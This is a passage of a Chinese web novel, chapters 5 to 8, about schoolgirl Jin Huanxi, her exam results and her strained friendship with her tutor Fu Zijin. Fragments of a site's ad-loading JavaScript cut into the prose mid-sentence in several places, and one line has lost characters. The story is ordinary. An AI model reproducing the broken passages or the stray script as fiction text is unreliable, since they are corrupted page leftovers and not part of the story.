金欢喜晃了晃脑袋,蹭了蹭她的手。 “叮铃铃——”这是开考前的预备铃。 纵然付子衿十分担心,也不得不和金欢喜分别,走向各自的考场。 “加油。” 千言万语,化作最朴实 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的两个字。 “加油。” 金欢喜回复了她,拿着准考证,一步一步走向了考场。 …… “没什么大事,我开个退烧药,吃完睡一觉,第二天就能退烧。”老医生摸了摸金欢喜的额头,开了个药单。 金大富接过药单,让陈宝珠先带着孩子出去呼吸呼吸新鲜空气,自己去拿药。 考试考完了,金大富又不在,金欢喜倒是有心情关注一些平日里好奇的事。 “爹他什么时候买了车?” 金大富守在校门口,陈宝珠也担心,金大富索性回趟了家,开了汽车载陈宝珠一起过来。 说起这件事,陈宝珠才想起大喜一直不知道他们挣了钱的事。要是一股脑儿全说了,大喜不会生气吧? 金大富还在准备开公司的事,陈宝珠也不知道会赚会亏,她想了想,到底没有继续瞒着。 “其实你爸和我这两年挣了点钱,你每天学的那么努力,我们就没和你说。这车就是最近买的,不过,你爸最近又要把钱撒出去投资了,也不知道会不会亏。” 金欢喜听了,只觉得父母是挣了点小钱,也没继续问。 于是,这个美丽的误会就持续了下去。 金欢喜病好之后,没过几天就接到了付子衿的电话。 “查分没有?” 电话里的付老师还是一如既往的冷淡。 “还没。”金欢喜坐在椅子上,晃了晃脚丫。 她早知道可以查分了,就是没胆子去查。不看等于没有,先玩几天不行吗? “我帮你查。”显然,付子衿对她的想法了如指掌。 金欢喜认命了,随她去,也跟着紧张起来。 对面传来一阵噼里啪啦的打字声,良久,也没听见付子衿的回复。 这下金欢喜从椅子上站了起来,来回踱步,怎么滴?她没考上一中?给付老师弄沉默了都。她焦虑了,来来回回走了十几遍。 “晃悠啥呢!” 陈宝珠坐在屋里头,瞧见她在门口打转,没忍住问了一句。 金欢喜脚步一顿,面向她妈,哭丧着脸。 “付子衿给我查分呢。” 付子衿这个名字陈宝珠天天在她嘴里听见,倒也不稀奇,但是——查分?陈宝珠坐不住了,跟着在屋里头来回踱步,又朝外头问。 “出来没?” 金欢喜只能听见付子衿的呼吸声,捂着电话喊了一嗓子:“还没。” “出了。” 许是她太大声,付子衿终于开口了。 金欢喜憋住了呼吸,小心翼翼地问:“付老师,我考的咋样?进一中了吗?”她估过分,但是最后一天发烧了,也不记得答了什么,只能说在一中的录取线上来回试探。 “进了。” 付子衿的话一如既往的简洁,金欢喜蹦跳了一下,朝她妈招了招手。 “考上了考上了——” 陈宝珠拍了拍手,拾掇拾掇东西,已经准备出门炫耀了。跟谁?当然是金大富了。她可是第一个知道这事的人。 金欢喜太过高兴,也就没注意到付子衿低落的情绪。 市区内,付子衿坐在电脑前,又不信邪地看了一眼金欢喜的成绩。 这个成绩,分不到一个班。 5. 事不过三 一中的分班规则是——尖子班流动制。也就是说,在高一期间,最优秀的40名学生都会分在一个班里,等高一结束,人员固定,作为优秀冲刺班进行培养。 知道这个规则的时候,金欢喜感觉天都快塌了。 付子衿虽然不是最优秀的一个,但也轻松地进入了尖子班,而她,只是剩下的普通班中的一个。 这破学校,我要举报你! 金欢喜心如死灰。 任凭金欢喜怎么不满,日子还是要照样过,学也得照样上。 “嘿嘿,惊喜不惊喜。” 金欢喜没想到,她的恩师吴华森竟然又回到高中教书了。 下了课,吴华森把她单独叫出教室。 “欢喜,告诉你个好消息。” 金欢喜半信半疑。好消息?难道吴老师还给她送进尖子班了? 吴华森冲她努努嘴,示意她看向对面。 “看见没有,那个是尖子班。” 嗯?难道真是? 金欢喜激动地点点头;“看见了看见了。” 吴华森嘿嘿一笑,挑了挑眉:“哼哼,老师我啊,同时教你这个班和子衿那个尖子班,怎么样!高不高兴!” 金欢喜:…… 她勉强笑了一下。 “老师,你不会是专门要班级要过来的吧?”金欢喜深度怀疑他暗箱操作了。 听到了想要的问题,吴华森笑得合不拢嘴:“不不不,这次我可是凭运气抽中了你们两个班!刚好教你和子衿。” 他高兴了,金欢喜撇撇嘴,不高兴了。 可恶!她可是和自己三年的同桌分开了!这简直是生离死别! 吴华森没留意她的表情,拍了拍她的肩膀以示鼓励:“加油,我相信你一定能考进尖子班的。” 金欢喜只能丧丧地回了句:“借您吉言。” 吴华森哼着小曲走了,留下金欢喜靠在墙上,百无聊赖地看了对面一眼。 诶?窗怎么开着? 窗边的少女遥遥望向她,不知道看了多久。 对视了一眼,金欢喜一晃神,仿佛又看见当初的明月。 等会过神时,对面的窗户已经关上了。 金欢喜眯着眼又看了看,只看见少女模糊的侧脸。 付!子!衿! 她不就是没进尖子班吗?生什么气! 没错,正如付子衿了解她一样,她也一样了解付子衿,这反应,绝对是非常生气。 虽然愤愤不平,但她毕竟理亏。金欢喜只能暗暗下定决心,要努力学习考入尖子班。 然而,现实很快告诉了她,距离是关系淡去最好的方式。 …… 一中的学习节奏十分紧凑,起得比鸡早,睡得比狗晚,再加上学习难度增大,要同时面对语数英、物化生、政史地、信息技术一共十门课,金欢喜每天除了学习,根本没时间干别的事,更别谈和付子衿见面叙旧。 周末?一到周末,为了考进尖子班的金欢喜就不得不去上金大富和陈宝珠给她报的那几个补习班。 就这样忙忙碌碌过了一个月,金欢喜都适应了学校的节奏,金大富来接她回家的时候突然问了她一句话。 “闺女,好久没听你说到付子衿了?你们不是在一个学校吗?”上了高中,金大富在外边不再叫她大喜,改口叫她闺女。 金欢喜没想到自己有一天会从爸爸口中听到付子衿的名字。她上回和付子衿联系,还是一周前问她题目。上了高中,她们再也没聊日常的话题,聊的全是学习,久而久之,聊天频率也下降了。 人与人最后的结局就是关系变淡,最后分离吗? 金欢喜想不明白。 金欢喜反思了一下自己:她在新班级里交了新的朋友,大部分琐事都和新朋友分享了。而付子衿身处节奏更快的尖子班,她一厢情愿地为了不打扰她,选择不与她分享那些事。 如果那些日常都是打扰,那她问付子衿的题目,付子衿写下的几种解答方案,是否也是她对付子衿的打扰呢? 没听见金欢喜说话,金大富一扭头,见她正在哭。 他慌了神,忙问:“咋了闺女?” 金欢喜的哭声越来越大,从小声抽噎进化到号啕大哭。 “我就是觉得,好忙……忙的什么也没得到。” 她难过在于,付子衿对她那么好,她却把那当做习惯,逐渐理所当然。一口一个老师,到了最后,真把付子衿当做了老师,却忘了她是自己最好的朋友。 现在回头一看,她和付子衿背对背走了许久,已经快看不见对方的身影。 有的人出现在你的世界里,如果不抓住的话,就不会再遇见了。 “爹,我想给子衿打个电话。” 金欢喜闷闷道。 虽然她哭的时候没提付子衿,但金大富能感觉到,她的难过来源于她和付子衿不再亲密,于是也放软了语气。 “打吧。” 金欢喜拨了电话,电话响了一分钟,一直没人接,最后自动挂断了。 车里的气氛逐渐凝重。 金大富出声安慰:“人家可能没看到。”他没见过付子衿,倒是常听金欢喜念叨,能一直帮大喜补习,一定是个不错的人。 但金欢喜了解付子衿,这个点不接,只有一种可能—— 她在生气。 没法子,金欢喜只能眼巴巴地看着那个号码又打了一次。心中默念,事不过三,事不过三…… 付家。 “不接电话吗?”付译文今天不上班,在客厅坐着,听着女儿兜里的手机响了好几分钟,受到好奇心的驱使,还是没忍住问了句。 付子衿正在看书,闻言,轻轻合上书本,掏出了手机,看了一眼来电人,她哼了一声,把手机放到了桌子上,还是没搭理。 “子衿?”没得到回复,付译文又叫了女儿一声。 付子衿冷静了点,说出来的话让人似懂非懂。 “笨蛋的电话,接了会让人变笨。” 女儿难得说出这么可爱的话,付译文都开始好奇来电人是谁了。 电话在客厅里整整响了四回,彻底安静了。 付子衿戳了戳手机,想到金欢喜“事不过三”的原则,稍稍高兴了点,又想起金欢喜身边一个一个朋友,啧了一声,把手 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 机丢回了桌上。 早在电话响起的时候,她就知道是金欢喜,因为只有金欢喜有她的手机号。 与此同时。 付子衿,你竟然不接电话! 金欢喜愤怒了,她可是打了四回!四回啊!以前第三回就会接的! 当然,愤怒只维持了一秒,想到自己做的亏心事,她还是悻悻地坐在了副驾驶座位上。付子衿不接电话,那一定是生了大气,但她做了什么让她这么生气? 金欢喜要是真知道,就根本不会做让她生气的事。理所当然的,无论她怎么想,都想不通付子衿到底是因为什么生气。 “爹,你说付子衿为什么生气?”人到了走投无路的时候,就会病急乱投医。 金大富不知道,但金大富会瞎编。 “好好想想你都做了什么,既然人家这么生气,那肯定是大事。” 金欢喜诚恳地摇摇头:“我想不到。” 金大富噎住了,只能把皮球踢给自己媳妇:“女孩子的事情还是你妈更懂,回家问你妈吧。” 金欢喜深以为然地点了点头,一到家,就狂奔进屋。 “妈妈!妈妈!妈妈!” 陈宝珠从屋里头走出来,被她的热情吓了一跳。 “咋了,妈妈,妈妈的叫,像个小蝌蚪似的,难道你是那个找妈妈的小蝌蚪变得?” 金欢喜嘴比身体快,跟竹筒撒豆子似的,一股脑儿全说了出去,和向金大富倾诉不同,她特地隐去了付子衿的名字,省得她妈和她爸一样,带入不必要的滤镜。 整了半天,原来是感情纠纷。 陈宝珠思索片刻,不确定道:“大喜,有没有可能,你这个朋友是因为你交了别的朋友,觉得你不是她最好的朋友了。” 金欢喜想起了自己在班里交的几个朋友,心虚地摸了摸鼻子。 “既然是这样,那就是你对这个朋友关注度太少了。不是我说,大喜,我们交朋友可不能见一个爱一个,人这一生啊,知心朋友是很少的,我看呐,还是付子衿对你最好。”话说到这里,陈宝珠反应过来了,“你那个朋友不会是小付吧?” 金欢喜懵了,摇了摇头,跑回了房间。 金大富在门外听了全程,一跨步,进了屋,鼓掌。 “媳妇,你真聪明,猜对了。” 陈宝珠笑了笑,却感觉奇怪:“大喜不是最在乎小付了吗?怎么惹人家生气了?” 金大富也不太清楚,含糊其辞:“听大喜说,好像是因为一中学习太辛苦了,没时间和小付一块聊天,时间久了,联系就少了。” “唉!这孩子。”陈宝珠开始发愁,金欢喜能考上一中,在他们俩看来,离不开付子衿的努力,“只希望大喜能跟人家好好道歉。毕竟人家当初为了大喜,可是每天都留下来帮大喜补习,算下来三年也得有个两百多小时花在大喜身上。” 说到这,她又看向金大富:“你说,我们要不要给小付送点东西?” 金大富虽然没见过付子衿,却见过她家的车,叹了口气:“小付家比我们有钱多了,人家是市里的大户人家,我们送啥呢?” 夫妇俩对视一眼,愁啊。 6. 财迷 “大喜!起来!” 金大富用力敲了敲门。 “马上。” 里面只响了一声,便恢复了寂静。 金大富把耳朵贴到门上,一听,没声了,准是又睡着了。 “起!” 他又嚎了一嗓子,里头总算窸窸窣窣开始有了动静。 金欢喜打着哈欠穿好衣服,梦游似的走了出来,迷迷糊糊地问。 “什么事?起这么早?” 陈宝珠理了理她的衣服,又给她重新梳了梳头发,扎好。满意的打量了片刻,她又给金欢喜端来一碗浓稠的白粥,配上新鲜的榨菜。 “你忘了?你爸之前不是说了,要一起去市区里玩一玩?” 前一阵金大富突然醒悟,他和陈宝珠这几年都在外挣钱,金欢喜上了初中以后,生活里竟然只剩补习班和学习,还没去市区逛过。 “爹他有钱?”金欢喜还以为金大富之前是在开玩笑。 “是有点。”金大富点了点头。 公司刚刚起步,金大富手上闲钱并不多,他前段时间倒是和房地产商签了个合同,买了一块地,等房子都建好就把尾款付清。不过这件事他暂时不会告诉金欢喜,打算等金欢喜高考结束的时候给她一个惊喜。 不然,就金欢喜这钻钱眼里的性子,知道家里有了钱,指不定每天都去数钱去了。 关于金欢喜爱钱这件事,金大富早早就有了实感。 为啥呢?这就不得不提起一件往事。 初中的时候,金欢喜曾因为一件事被请过家长。金大富到了学校,还没道歉,陈钟灵就先制止了他,并摆了摆手。 “欢喜爸,其实这个事我也是听其他家长说的,严格来说,也不算欢喜的错……” 上了初三,金欢喜的成绩稳定了不少。以前一天二十四小时都要学习,现在却能够抽出不少时间。金欢喜也不打算去玩,定了个价格表,给同学收费补习。开始的时候,就金欢喜后桌的一个同学选择了参加,好巧不巧,这个同学在月考取得了巨大进步,还得了全校表扬。 有了等一个吃螃蟹的人,其他同学也蠢蠢欲动,一个接一个报了名。他们也不傻,都知道金欢喜师从稳居年级第一的付子衿,追溯起来,金欢喜的解题思路可是跟学神学的!于是一个个积极报名。 “那为啥找我来?”金大富茫然地眨了眨眼,不觉得闺女有错,毕竟这也是明码标价,一个愿打一个愿挨。 “是这样,有一个家长过来举报了大喜,说她恶意收费,破坏同学关系。” “什?”金大富猛地站起身,他气没喘上来,缓了口气继续说,“什么话,这不是你情我愿的事?” 陈钟灵连忙请他坐下:“嗐!你别着急,我和你细说。是这样,这个家长的小孩也参加了补习,家长其实也知道,但这孩子吧,考试没进步,还倒退了几分。这个事吧,我也和其他家长具体了解过了。不管怎么说,欢喜这收费……确实不太合理。不过你放心,那几个家长都说了,不需要把钱还回去,包括那个举报的家长。” “大喜收了多少钱?”金大富并不觉得自家闺女是个财迷。 陈钟灵手一抖,拿起桌上的水杯喝了口茶,难以启齿。 “这……一个学期她每门课收50。” 这个时候的50块钱,零食都可以痛快地吃一周。 金大富为了做生意去读了书,基础算数倒是学会了,他一算,困惑道:“一门课50,一共6门课,我也知道,大喜是不教英语的,这样算下来,大喜一共收250,还好吧?” 他面前的陈钟灵咳了一声,移开视线,纠正了他错误的想法。 “是每个人收250。”并且金欢喜不仅教自己班的,还去其他班拉客,算下来,金欢喜挣得还真不少,指不定比她工资还高。要不是他们这个初中里市区的孩子多,钱不少,这羊毛早就被金欢喜薅秃了。 金大富两眼一黑,差点昏过去,他也不问金欢喜收了多少人的钱了,就是想不通一件事。 “他们为啥都愿意找大喜补课?”学习的事,老师也能教啊,甚至还不要钱。 陈钟灵还没开口,后边听了一嘴的吴华森坐不住了,他搬着凳子,屁颠屁颠地挪到他俩旁边。 “欢喜爸爸,你是不知道!除了陈老师刚刚说的,欢喜开始教出了一个好学生这个原因,还有两个原因。” 吴华森对金欢喜多有关照,见陈钟灵也摆出一副洗耳恭听的样子,金大富坐直了身子,认真听他说。 “一呢,欢喜自己就是从倒数爬上来的,她比我们更清楚差生要怎样学才能考好。我们之前也让欢喜讲过提高成绩的心得,但是这一串东西弄下来,很少有学生受益。要我说,欢喜能考得好主要是因为欢喜自己的努力。” 金大富越听越怪,不是?怎么感觉吴老师是个喜吹啊?光听见夸大喜了。 滔滔不绝的吴华森意识到自己的失态,赶紧步入正题:“欢喜开的这个补习,她会监督每一个交了钱的人,特别特别负责。那些没自制力的,也被她逼着学,这就是原因一。原因二呢,就是欢喜她同桌,不知道她有没有跟你提过。” “付子衿?”金大富不太确定地提了个大喜常挂在嘴边的名字。 “对对对!”吴华森激动地拉住他的手,“付子衿在我们这次次考第一,欢喜办这个补习班,付子衿同学出面特别说明,参与补习的人只要有问题都可以来问她。” 金大富终于听明白了,大喜这是给自己找了块活字招牌。 也在这时,“付子衿”三个字真真切切地进入了金大富的脑海。 不对,大喜这么多钱,都整哪去了? 金大富努力回想了一下,倒是真想起一件事情。 一段时间前,金欢喜偷偷摸摸给他和陈宝珠床垫子下塞东西,他还以为是什么书本,根本没仔细看,现在想来,那肯定就是金欢喜赚的钱了。 “陈老师,吴老师,实在对不住。”女儿在家长堆里捞了这么多钱,金大富虽然自豪,但也觉得臊得慌。 吴华森摆摆手,显然也是个财迷:“别这么说,我倒是觉得欢喜是真厉害。”他又搬着凳子回了工位。 陈钟灵哭笑不得。 “事情就是这样,也不是说欢喜不对,就是跟你提前说一下这件事,也麻烦你告诉孩子一声,毕竟这种事情我们也不知道怎么跟欢喜讲。”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 金大富点了点头,满怀心事地回家了。 这件事之后,金大富特地在家里贴了个手写的表格,标上家务的价格,例如洗碗、拖地、捶背等,按5,10,15,20四种价格计费。目的是为了让金欢喜不觉得无聊。 但金欢喜虽然爱财,却不往家里要钱,通通改成了1元。从学校挣不到钱了,她就把剩下的时间投入到家务里,每天精气十足地干活。虽然干得多,但边花边赚,到毕业的时候,金欢喜自己手里也就攒下一百多块。 金大富和陈宝珠这时候明白了,大喜爱财是因为小时候穷怕了,怕他们俩在外面干活太辛苦,才在学校里补习收费。为这件事,陈宝珠没少在夜里偷偷抹眼泪。至于金大富,他都是在外头偷偷哭,争取不让任何人看见壮汉落泪。 虽然夫妇俩渐渐学会了有意识地给金欢喜一些零花钱,但金欢喜的爱财已经成为了习惯。即使上了高中,一回到家,她还是得抱着自己的钱罐从头到尾数一遍,不说别的,就是踏实。 所以——家里买了房子这件事,还是先不告诉大喜的好。 金大富从回忆中回过神,心有余悸地擦了擦额头的汗。要是告诉了大喜,指不定哪天大喜把房价翻了个倍卖出去了,到时候钻钱眼里,就再也不读书了。他倒不是想逼大喜做到考第一,只是做了生意,也被人骗过,还多亏了程书杰提醒,才没被骗走钱。人还是要读书,只有读了书,才能更好地保护自己。 “吃完了。” 金欢喜把粥喝的干干净净,她抬起手,还给陈宝珠瞧了眼碗底,连一滴米汤都没剩。 陈宝珠习以为常地给她鼓鼓掌。 等金欢喜把自己的碗洗好,一家三口就拾掇拾掇上了车。 “大喜,昨儿没问你,想去哪里?” 去哪? 金欢喜大脑里一片空白,灵光一闪,想到了付子衿家的地址。 “要不就去和悦小区边上的地方玩?” 金大富还没启动汽车,先出了一身冷汗,强壮镇定:“怎么要去那?那不是富人区吗?”他和宝珠买的房子就在和悦边上,大喜不会看见他签的合同了吧? “我同桌住那边。”金欢喜回答,瞥了他一眼,凑上前,担心道,“爹,你怎么了?出了这么多汗?” 金大富松了一口气,系好安全带,撒了个小谎:“刚刚爸爸跑进来太累了。” 金欢喜丝毫没有起疑心,拍了拍她爹的座位:“那你要多锻炼身体。” “好,收到。” 陈宝珠在一旁捂嘴偷笑。 伴随着引擎的轰鸣声,汽车缓缓驶向和悦小区附近的和乐商场。 与此同时。 “要不要去和乐逛逛?”付译文瞅了眼一大早上就盯着手机的女儿,无奈地笑了笑。 付子衿从屏幕上移开视线,摇了摇头。 “真不去?你妈明天就回来了,你不是要给她做饭?” 付译文走到门口,还没换好鞋,就听见后头的脚步声。他克制住脸上的笑容,怕傲娇鬼一看见他的表情就改变了主意。 “好吧。” 她还是勉为其难的语气,付译文只能笑着摇了摇头。 7. 迷茫 “对了,欢喜,你哥他找了对象,过几天应该会带她一起回来看你。” 金大富专心开车,陈宝珠就聊了点金欢喜不知道的事。 “我哥找对象了?”金欢喜向前弯了弯腰,靠在副驾驶的座位上,抬头看她妈的表情,“啥时候的事?” “你哥他也是昨天告诉我们的。你昨天回来不是急着问问题吗?我就忘了说。” 金欢喜坐回座位,靠在椅背上借了借胆。 “要是我以后不结婚不找对象,你们能接受吗?” 金欢喜有这个想法倒不是空穴来风,问题就在于,她也偷偷看过不少恋爱小说,但是看着身边的男同学的时候,心里却毫无波澜,学习给她的吸引力都比男生大。 难道我喜欢的是学习? 金大富下意识皱了皱眉,金欢喜头一缩,正想改口,听见她妈叹息的声音。 “从小到大,看你学习那么起劲,我就想到你可能会有这个想法。” 欢喜歪了歪头,疑惑地看着妈妈。 “欢喜,你先和爸爸妈妈说说,你心里对爱情是怎么想的?我和你爸总是不知道应该什么时候跟你谈这个事,怕太早,又怕太晚。今天你主动说了,我们也想听听你的想法。” 金欢喜一愣,突然有些词穷,想了一会儿,游移不定。 “嗯……就是……我感觉自己这一辈子只能喜欢一个人?我也不知道为什么有这种想法,甚至不知道自己以后会不会改变。” 她妈和她爸是青梅竹马,生活在大山里的时候虽然辛苦,一家人却一直互相扶持,有时候金欢喜也会羡慕他们的感情,他们虽然爱她,却更在乎对方。所以金欢喜有时候会想,希望自己以后也能这样,坚定地爱一个人。 听了她的话,陈宝珠反而有些困惑了。 “那你为什么说以后不想找对象呢?” 金欢喜纠结地戳了戳手指,感觉有些不好意思。 “妈妈你昨天不是说,人的一生里,知心朋友是很少的吗?既然这样,那我想要找到适合的那一个人,一定也是很难的。更何况,我还有可能错过那样一个人。所以我觉得,养猫猫狗狗会更好?” 金大富的车速骤然放缓,金欢喜感受到了,语气也变得越来越不确定。 陈宝珠先是看了看金大富,又回头看了她一眼。 “欢喜,你觉得爸爸是因为你不找对象生气吗?” 金欢喜犹豫片刻,摇了摇头。从小到大,她被给予的最多的,就是自由。 夫妇俩陷入了沉默。 实话实说,他们早些时候都希望以后能有个好男人陪着欢喜。但做生意做了这么久,夫妇俩什么样的人都见过。有表面人模狗样,背地里玩得花的。有面上真诚的,背地里说小话的。甚至还有想带着金大富去“洗浴”的。一个个,真是防不胜防。 他们不清楚别人家的孩子究竟是什么样子,却知道自己的孩子有多赤诚。这要是被伤了,得缓多久啊。 金大富把车开进了和乐商场的地下停车场,他从后视镜里瞄了一眼满脸愧疚的金欢喜,缓缓开口。 “欢喜,以前你总是生病,你妈妈当时就说,最怕我们走了以后没人照顾你。爸爸妈妈都不介意你以后不找对象不结婚,也接受你养猫猫狗狗。你不要感到抱歉,因为这都是你的自由。我们只是担心,希望你给自己留好后路,哪怕是找一个靠谱的养老院。” 他一开口,金欢喜倒想起上周轰动全市的大新闻。 什么某某养老院在某老人的子嗣去世以后对其不管不顾啊。 咦?这么一看,完全就是养老院的问题啊。要不她以后开个严格把控的养老院? 在她胡思乱想的时候,金大富已经停好了车,但显然他的停车入库并不合格,车停得歪歪扭扭的。站岗的保安示意他重新再停一次,他擦了擦汗,重新尝试停车入库。 没事的,根据以往的经验,十分钟就能搞定,他已经熟练了。 “我来停吧,你在外头帮我看。” 陈宝珠伸出了手。要不怎么说她是这个家的主心骨呢,和大富一块去考驾照,她可是一次就过了,停车自然不在话下。 “欢喜,你先去超市门口等等我们,这里太闷了。”陈宝珠示意欢喜先下车。 金欢喜麻溜地下了车,一步三回头地看了看她那聪明的妈和憨厚的爸。 他们都默契地不再提起她说的事。 或许……她还需要时间想想明白,自己到底想要的是什么。 …… 付子衿? 蹲在超市门口的金欢喜没等来爸妈,先等来了付子衿。 她也不知道自己咋想的,大概是还没想好怎么哄她,心里头心虚,一扭头,转身跑进超市了。 金欢喜没来过和乐的地下超市,进来一看,哦豁,这地下超市像个迷宫一样,琳琅满目。她像个无头苍蝇一样在里头乱窜了一阵,终于想起了她还在停车场的爸妈。为了让爸爸妈妈能找到她,她聪明的小脑瓜一下子就选择了生鲜区和蔬菜区。 别的不说,比起那一排排货架,这里宽敞明亮的多。 然后,她就看见付子衿和她旁边的中年男人朝这边走了过来。 和付子衿没见过她爸妈一样,她也没见过付子衿的爸妈,甚至很少听付子衿提起。但金欢喜看了一会儿,根据那个中年男子的气质和行为动作,推断出了他的身份——付子衿她爸。 金欢喜想钻到地里。 她难道是笨蛋?付子衿家就在附近,他们来这买东西也是很合理的啊! 金欢喜觉得自己大概是脑子进水了。这得怪谁?一定是因为昨天付子衿没接她电话! 逃无可逃,她一闪身,溜进了一旁的两排货架中间。一边开溜一边悻悻想——我跑什么? “哎呦!” 跌倒在地的时候,金欢喜紧绷的神经终于松懈了下来。 我就知道,做贼心虚是没有好下场的! “小朋友,你没事吧?” 把她从地上拉起来的是一个穿着棕色西装套装的女人。 金欢喜颤颤巍巍地借着她的手站了起来。 孟语桐哈哈大笑,揉了揉她的头发。 “你是初中生?放心,我不吃人。” 金欢喜一个九十度鞠躬,立刻道歉:“对不起,对不起,我刚刚撞到您了。” 金欢喜用余光打量了一下她穿的高跟鞋高 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 度,5cm?6cm?难道是7cm? 她只见陈宝珠穿过一次高跟鞋,有一回陈宝珠跟她说,穿高跟鞋的大多都是女强人。 “为啥?”金欢喜不解。 “穿起来痛,我不知道她们咋能穿那么高。”陈宝珠惊叹。 所以,眼前这个是女强人? “没事。”孟语桐拍拍她的肩膀以示安慰,金欢喜意识到碰到人的时候就往反方向用了力,撞在她身上并不是非常痛,“下次不要在人多的地方乱跑。” 金欢喜讷讷地点头。 难道世界上大部分人都像陈宝珠?付子衿像,眼前的人也像。都像妈妈一样。 见她呆呆的,像是傻了,孟语桐便提起别的事转移她的注意力。 “别害怕,我家里有和你差不多的小孩,在上一中,虽然现在乖巧了,小时候也是很调皮的。” 金欢喜涨红了脸,半天憋出一句:“我是高中生,一中的。”她差点忘了反驳前面她说她是初中生的事。 “哈哈哈……”孟语桐乐不可□□你认识付子衿吗?” 金欢喜感觉自己的魂已经飘走了,只剩下身体还站在原地。她这是什么运气,一天下来,不仅看见了付子衿和她爸,还冲撞了她妈! “金欢喜同学在吗?在一中上学的金欢喜同学,你的爸爸妈妈在服务台等你。” “金欢喜同学在吗?在一中上学的金欢喜同学,你的爸爸妈妈在服务台等你。” 也许世界上最社死的事情,是被广播播报。尤其金欢喜还知道,付子衿能听见这条广播。 “金欢喜?是你爸爸妈妈在找你?你是叫欢喜?” “不好意思,我先走了!”她又鞠了躬,怕付子衿她妈把她的老底翻出来,一溜烟跑了。 诶?难道出了一趟差,我已经变成洪水猛兽了? 孟语桐惊讶地看着她的背影,认真反思。 …… “欢喜,你跑哪去了?”金大富差点急死,来来回回找了几遍,就差报警了。 金欢喜咳了一声,看了眼正在生气的陈宝珠,急中生智,转移话题。 “我刚刚在门口看到熟人了,进去后本来想出来的,不小心撞了人,刚刚在和人道歉呢。” “你没事吧。”夫妇俩先检查了一下她的身体,随后又问,“被你撞的人呢?没事吧?你跟人家道歉没有。” 深怕他们要去找付子衿她妈,金欢喜点头如蒜:“道歉了,道歉了,人家还原谅我了,你们放心。” “下次不许乱跑了!”金大富警告了一句。见她乖巧附和,还是消了气。 金欢喜还没来得及松口气,身后传来熟悉的声音,熟悉到让她身上起鸡皮疙瘩。 “金欢喜?” 在金欢喜的认知里,只有一个人会在生气的时候用这种语调叫她的全名。 “子衿,你也在啊。”她转过身,尴尬地笑了笑。毕竟不久前付子衿还无视了她四个电话。 付子衿是听到广播来的,没带她爸,见金大富和陈宝珠都在场,也没多说。 “听到广播,过来看看。” 她和金大富、陈宝珠打了招呼,又看了一眼金欢喜,走了。 8. 占有欲 距离下一次月考还有2天。 黑板的最上方,倒计时仿佛一把利刃,悬挂在每一个人的心头。 一中的军事化学习不仅体现在紧凑的节奏上,还在处处提醒你,不努力的话就会被淘汰。 金欢喜写完了卷子上的最后一道题,朝窗外望了一眼。 临近月考,尖子班的气氛紧张到都没人拉窗帘了。一个个的,都不怕变成瞎子。 上周和付子衿在超市偶遇后,昨天付子衿照旧抽空在自习室给她讲题。 “那个……学习,我会不会影响你?”听小道消息说,尖子班内部有周考,付子衿混在里头,也只能在前十徘徊。金欢喜由此联想,她会不会耽误了付子衿学习。 “没有。”闻言,付子衿给予了否定。 怎么可能没有,金欢喜抓了抓头发,不知道心里的那些复杂想法该怎么传达给她。 让付子衿先不要给她补习了?她都觉得自己是得了便宜还卖乖,不知好歹。 付子衿停下了手中的笔,认真地看着她的眼睛。 “你很在意吗?” 她们坐得很近,像初中那样。因为太近,金欢喜反而感觉不知所措。 付子衿非常在意她。 从初中开始,金欢喜就意识到了这件事。但是,为什么呢?她的在意毫无缘由,捉摸不定,像是一朵蒲公英恰好降落到她身边,但只要来一阵微风,蒲公英就会随风而去,不再回来。 “嗯,很在意。”她坦诚相告。 如果因为迟疑停留在原地,只能止步不前。 “有一点,但不重要。” “这样好吗?”金欢喜扪心自问,如果是她自己,是做不到这样的。 “两点。一,我没有荒废自己的学习,用最严重的话来说,也只是没有尽力。二,我并不认为缺少的这一分比你重要。”每说一点,她就伸出一根手指,到了最后,比出了一个“耶”的姿势。 金欢喜伸出手,把中指按了回去,只剩下最初竖起的食指。 在付子衿询问前,她先问了一个问题。 “上周你为什么生气?因为我没有和你说琐事?因为我交了新的朋友?” 付子衿还是竖着那一根食指,她沉默了。 金欢喜清楚,这就是她的回答。 “感情是你来我往的东西。你认为自己付出的多,我就会愧疚,就会留在你身边吗?”她反而痛苦于对付子衿的了解,清楚她的付出,也是一种施压的手段。 占有欲。 没有人希望自己最好的朋友跟别人玩得更好。 付子衿用手抓住了她的小指,没太用力,只是轻轻捏了一下。 “我只是希望,我对你来说是特别的。” 我当然也希望。 金欢喜没说出内心的真实想法。在她清楚付子衿为什么在乎她之前,她不会轻易许诺。 “我跟你道歉,对不起。”她反握住她的手,“我确实因为交到新朋友忽视了你,我改正。” 她捂得付子衿的手微微发烫,付子衿低着头,躲过了她的视线。 “如果要成为特别的人,就多在乎自己一点吧。” 付子衿抽回了手,又拿起笔,在卷子上写写画画,她看起来漫不经心。 “我觉得你在画饼。” 从初中到高中,金欢喜发现不知道什么时候开始主导权从付子衿身上转移到了她身上。就像现在,她一眼就能看出她在嘴硬。 “这样,如果你这次考到第一,我们周末就一起出去玩。”金欢喜勉强提出了一个诱人的条件。虽然本人并不觉得这是个条件,但听到这个条件的人却表示了认同。 有时候,金欢喜真觉得付子衿是头驴,而她是吊在她前面的一根胡萝卜。 …… “牛啊,喜姐挤进尖子班了。” 月考出了成绩,金欢喜还没查,就从别人那里知道了好消息。学得昏天黑地,得了个好结果,她也总算是松了一口气。 “第一是谁?”她先问了自己最关心的问题。 同学一下子激动起来,卖了个关子:“喜姐,你猜都猜不到!” 金欢喜心里一紧,已经隐隐知道了结果。 “第一竟然是从其他班出来的,直接逆袭到了尖子班!就是我们隔壁班那个文学大佬,蓝燕仪!” 本次月考,尖子班的学生几乎有一半被淘汰替换。 仔细想想,进一中的能有几个笨蛋?这样的结果也是可以预料的。等升入高三,难度增大,努力只能决定下限,无法改变上限的时候,就会有差距了。尖子班只在高一存在的意义,恐怕就是为了让学生充分发挥自己的能力,做到最好。 